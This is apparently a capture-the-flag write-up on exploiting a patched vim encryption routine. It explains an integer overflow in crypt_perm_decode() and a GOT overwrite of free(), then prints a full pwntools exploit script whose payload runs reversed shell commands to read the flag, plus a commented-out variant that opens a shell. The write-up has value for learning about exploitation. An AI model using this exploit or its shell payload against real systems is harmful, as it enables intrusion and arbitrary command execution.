The challenge is to exploit the patched vim. perm.diff implies that vim’s new encrypt/decrypt method is added in the patched version. In service.py, server seems to open a randomly named file with the vim and the content of the file can be filled with attacker’s input. Also we found out that if the file starts with the string ‘VimCrypt04~!’, vim expects the file as encrypted and decrypts it. Therefore we tried to find a weakness in the function ‘crypt_perm_decode()’. At ‘Step 1: Inverse of Multiplication’, We found something.

 

ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;

 

Because ps->cur_idx and ps->step are both int type, we could make an integer overflow. Also as we debug the vim when it performs the function, we found that ‘ps’ chunk is little bit ahead of ‘to’ chunk when the size of content in the file is 0x101 without the string ‘VimCrypt04~!’. We could make ps->step as 0xffffffff by assigning iv as 0xffffff9e. Eventually, ps->cur_idx got minus value so we could overwrite the buffer pointer of the ps chunk as the address of the function free()’s got. At the end of the function, it calls the function vim_free() and in this function, the function free() is called with one argument and it would be the buffer pointer. We used a code gadget below.

 

 

Before calling vim_free(), the argument passed through rax and rdi so we can make rax value at our will. To write values where the buffer pointer points, we should write them on the string ‘to’ by the below code.

 

We’ve done this by overwrite ps->cur_idx after overwriting ps->buffer so that the variable now has a positive value. After adjusting some values in order to overwrite correct values in correct address, we could not see the flag. It seems that server give us not the all output but stderr. Therefore we made a trick to check the flag as stderr. The final exploit code and the result is below here.

#!/usr/bin/python

from pwn import *
import sys,os
import random, string
from hashlib import sha256

s = remote("111.186.63.13",10001)

# proof_of_work
s.recvuntil("XXXX+")
sub = s.recvn(16) 
s.recvuntil('== ')
res = s.recvn(64)
s.recvuntil(":")

while(1):
	pro = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(4)])
	digest = sha256(pro+sub).hexdigest()
	if digest == res:
		print "success"
		print pro
		s.sendline(pro)
		print s.recvuntil('\n')
		break

s.sendline('269')

st = 'VimCrypt~04!'
iv = '\xff\xff\xff\x9e'
c_i = 'c\x01'

c  = '\x01' * 11
c += '\x00\x00\x01\x11'
c += '\x00' * 4
c += '\x00\x00\x00\x00\x00\x8a\x81\xfc'
c += '\xff\xff\xff\xff'
c_2 = c * 3

c_3  = '\x01' * 11
c_3 += '\x00\x00\x01\x11'
c_3 += '\x00' * 4
c_3 += '\x00\x00\x00\x00\x00\x8a\x82\x2a'
c_3 += '\x60'

c_4 = '\x00'* 109
c_4 += '\x00\x00\x00\x00\x00\x4c\x91\x5d'
c_4 += "\x002&>1 galf ta"
##c_4 += "\x002&>1 - 'hs/nib/!:' c- miv/onivlac/emoh/ | 'a' ohc"
# using this code will give you the shell!

s.send(st+iv+c_i+c_2+c_3+c_4)
s.interactive()
s.close()

 

+ Recent posts